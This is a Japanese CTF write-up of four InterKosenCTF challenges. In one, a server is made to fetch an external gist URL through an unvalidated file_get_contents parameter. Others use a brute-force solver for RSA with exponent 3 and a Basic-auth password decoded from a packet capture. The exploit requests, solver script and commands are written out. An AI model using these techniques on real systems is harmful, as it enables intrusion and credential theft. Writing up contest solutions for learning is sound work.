InterKosenCTF writeup

はじめに

InterKosenCTF(https://www.kosenctf.com/)のwriteupです.(ほんの一部だけですが...)
私が所属していたチームNekochanNano!は1250ptsで12位でした.

[Web 100pts] Gimme Chocolate

以下のbrainf*ck likeなPHPの関数にうまく値を与えてGive Me a Chocolate!!という文字列を作る問題.

function bf($code) {
    $ARRSIZE = 10000;
    $STEPSIZE = 100000;
    $p = 0;
    $jp = 0;
    $jbuf = [];
    $mp = 0;
    $mem = array_fill(0, $ARRSIZE, 0);
    $obuf = "";
    
    for ($s = 0; $s < $STEPSIZE && $p < strlen($code); $s++) {
        $c = $code[$p];
        if ($c === '>') {
            $mp = ($mp + 1 + $ARRSIZE) % $ARRSIZE;
        } else if ($c === '<') {
            $mp = ($mp - 1 + $ARRSIZE) % $ARRSIZE;
        } else if ($c === '+') {
            $mem[$mp] = $mem[$mp] + 1;
        } else if ($c === '-') {
            $mem[$mp] = $mem[$mp] - 1;
        } else if ($c === '[') {
            $jbuf[$jp] = $p;
            $jp++;
        } else if ($c === ']') {
            if ($mem[$mp] == 0) {
                $jp--;
            } else {
                $p = $jbuf[$jp-1];
            }
        } else if ($c === '.') {
            $obuf .= chr($mem[$mp]);
        }
        $p++;
    }

    for($i=0; $i<10; $i++){
        echo  $i . "=" . $mem[$i] . ",";
    }
    echo "\n";
    return $obuf;
}

Give Me a Chocolate!!自体はコードをちょっと読めばすぐ構成することができますが,ある条件があります.
ファイルに書き込む際に,100文字制限がついています.

$fp  = fopen($prefix.DIRECTORY_SEPARATOR.$_POST['name'], 'w');
if ($fp === FALSE || fwrite($fp, $_POST['code'], 100) === FALSE) {
  $errs []= 'Unexpected error. Please contact the admin.';
  break;
}

上記の関数を用いてGive Me a Chocolate!!を入力値100文字以内で構成するには明らかに無理があります.

しかし,ファイルを読みだして実行するところをよく見ると,$_GET['file']の値を直接指定してファイルを読みだしています.
$_GET['file']には,普通にWebアプリケーション経由だとサーバのローカルなパスが指定されますが,ここにURL(http://...)を指定することも可能です.

else if (isset($_GET['execute'])) {
  $code = file_get_contents($_GET['file']);

そこで,以下のコードをgistに登録して,$_GET['file']にそのgistのURLを指定したところFlagが出ました.

+++++++++[>++++++++>++++++++++++>++++>+++++++++++++<<<<-]>-.>---.>>+.<<----.>----.<<++++++.>.>.<----.>.<------------------------------.>>--------------.+++++++.------------.++++++++++++.---.-----------.+++++++++++++++++++.---------------.<<----------------------------------..
http://web.kosenctf.com:8100/?execute&file=https://gist.githubusercontent.com/...

f:id:Szarny:20190120215814p:plain

KOSENCTF{CIO_CHOCOLATEx2_CHOx3_IIYONE}

結構でかい口を叩いていますが,チームの人に「file_get_contents($_GET['file'])にURL直接指定できるのでは?」という助言をいただくまでずっとコードゴルフをしていました(バカ)(はい)(ごめんなさい)

[Crypto 100pts] strengthened

問題は以下の通りです.

from Crypto.PublicKey import RSA

assert(flag.startswith("KOSENCTF"))

m = int(flag.encode("hex"), 16)
key = RSA.generate(2048, e=3)

while pow(m, key.e) < key.n:
    m = m << 1

c = pow(m, key.e, key.n)
print("c={}".format(c))
print("e={}".format(key.e))
print("n={}".format(key.n))
c=4463460595992453701248363487821541441150903755360725278018226219397401710363861496059259094224390706180220952190225631877998805079875092397697611750633506584765344462795005248071815365597632474605092833538433542560077911683343354987797542811482161587946052311886487498036017642286567004537026772476444248546454191809039364154237333857544244714476659565633430727987398093807535598721617188645525580904749313860179445486488885745360135318781538863153023533787846418930231495508425497894530548826950697134882405386297339090051713047204435071147720540765043175338026604739425761557904004394283569956586190646684678673053
e=3
n=20169655945950105431738748243853927780331001640334986437959982160666610494142435056640595584712525268749025697813786742196769781107156600305882353438821338449740459508913799371467499117044809895128843358770212122149984787048869330121794532368786611513049229117856338074267497697268551262926233194699624069306801634627577488539763083043246322479538731125975155062918653790730355348606063864283452838775795802376825160728197871502803176167192178252802683495999009932194712635685410904731513241097681486329083486997949127983471617545787155883408710148611375930619822455594408723266661117411592239721104309931413551856711

RSA暗号です.
RSA暗号を解読するときの一般的な手法はn素因数分解してp,qを割り出すことですが,nが大きすぎて明らかに無理です.

よく見ると,e3と非常に小さな値になっているのがわかります.
RSA暗号には,eの値が小さいときLow Exponent Attackという手法を用いて解読できることが知られています.
が,これは平文mne乗根以下の場合,つまりpow(m, e) < nの場合のみに限ります.
今回の問題では以下のコードによって対策がなされているため,上記攻撃は成立しません(これでInf時間溶かした)

while pow(m, key.e) < key.n:
    m = m << 1

上記のコードをよく見ると,mが2乗されていって,pow(m, e) >= nとなった瞬間にループを抜けています.
ここで,c = pow(m, key.e, key.n)より,pow(m, key.e) = c + ? * key.nです.
一般的なRSAの場合この?がとてつもなく大きな値になりますが,今回の場合そこまで大きくならないことが予想されます.

そこで,この?の値を総当たりで解読を試みるスクリプトを書いたところうまくいきました.

import gmpy2
import sys

c=4463460595992453701248363487821541441150903755360725278018226219397401710363861496059259094224390706180220952190225631877998805079875092397697611750633506584765344462795005248071815365597632474605092833538433542560077911683343354987797542811482161587946052311886487498036017642286567004537026772476444248546454191809039364154237333857544244714476659565633430727987398093807535598721617188645525580904749313860179445486488885745360135318781538863153023533787846418930231495508425497894530548826950697134882405386297339090051713047204435071147720540765043175338026604739425761557904004394283569956586190646684678673053
e=3
n=20169655945950105431738748243853927780331001640334986437959982160666610494142435056640595584712525268749025697813786742196769781107156600305882353438821338449740459508913799371467499117044809895128843358770212122149984787048869330121794532368786611513049229117856338074267497697268551262926233194699624069306801634627577488539763083043246322479538731125975155062918653790730355348606063864283452838775795802376825160728197871502803176167192178252802683495999009932194712635685410904731513241097681486329083486997949127983471617545787155883408710148611375930619822455594408723266661117411592239721104309931413551856711

def root3(a):
    r, result = gmpy2.iroot(a, 3)
    return r

def oct2str(m):
    hm = hex(m)[2:]
    s = ""
    
    for i in range(0, len(hm), 2):
        s += chr(int(hm[i:i+2], 16))
    
    if "KOSEN" in s:
        print(s)
        sys.exit()

for x in range(1, 10000):
    print("[*] x={}".format(x))
    m_3 = c + x * n
    m = root3(m_3)
    
    while m > 1:
        oct2str(m)
        m = m >> 1
$ python solver.py 
[*] x=1
[*] x=2
[*] x=3
[*] x=4
[*] x=5
KOSENCTF{THIS_ATTACK_DOESNT_WORK_WELL_PRACTICALLY}

[Forensics 50pts] attack log

pcapngファイルが渡されます.
Wiresharkで中を見てみると,大量のBasic認証を試行しているログが確認できます.

また,以下のコマンドでFlagがBasic認証における正しいパスワードだとわかります.

$ strings attack_log.pcapng | grep flag
The flag is KOSENCTF{&lt;the password for the basic auth&gt;}

本問題のログでは,認証がうまくいかなかったときに401 Unauthorizedが帰ってきています.
そのため,認証がうまく行ったときのログを見るには200 OKが帰ってきているところを調査するのが有効だと考えました.

$ strings attack_log.pcapng | grep -5 "OK"
[^G80
[^G8
(OJ@
[^G80
[^G8
(OK@
[^G8
GET / HTTP/1.1
Host: www.kosenlab.org
Connection: keep-alive
Accept-Encoding: gzip, deflate
--
--
Accept: */*
User-Agent: python-requests/2.13.0
Authorization: Basic a29zZW46YlJ1dDNGMHJjM1cwcmszRA==
[^G80
[^G80
HTTP/1.1 200 OK
Date: Thu, 27 Dec 2018 07:13:24 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
Last-Modified: Thu, 27 Dec 2018 07:10:37 GMT
ETag: "a5-57dfba4b551c5"
Accept-Ranges: bytes

以上より,認証がうまく行ったときのBasic認証の値はa29zZW46YlJ1dDNGMHJjM1cwcmszRA==だとわかります.
Basic認証の値はbase64(id || pass)なので,base64デコードしてやれば良いです.

$ echo a29zZW46YlJ1dDNGMHJjM1cwcmszRA== | base64 -D
kosen:bRut3F0rc3W0rk3D
KOSENCTF{bRut3F0rc3W0rk3D}

[Forensics 200pts] conversation

Androidのダンプファイル的なものが渡されます.
とりあえずforemostを使ってどんなファイルが中にあるのか調査します.
結果は以下のようになりました.

$ ls
audit.txt   jar     pdf     zip
htm     jpg     png

jpgフォルダの中を見ると,誰かとSMSでメッセージをやり取りしているような画像が見つかります.
その中にFlagがありました.

f:id:Szarny:20190120214908j:plain

KOSENCTF{7h3_4r7_0f_4ndr01d_f0r3n51c5}

おわりに

とても楽しいCTFでした!!
チームの方がプロすぎて何もできないマンをしていたので精進したい.
Webがあまり解けなくて悔しかったので次のCTFではリベンジしたいです.

運営の方お疲れ様でした!!:bow: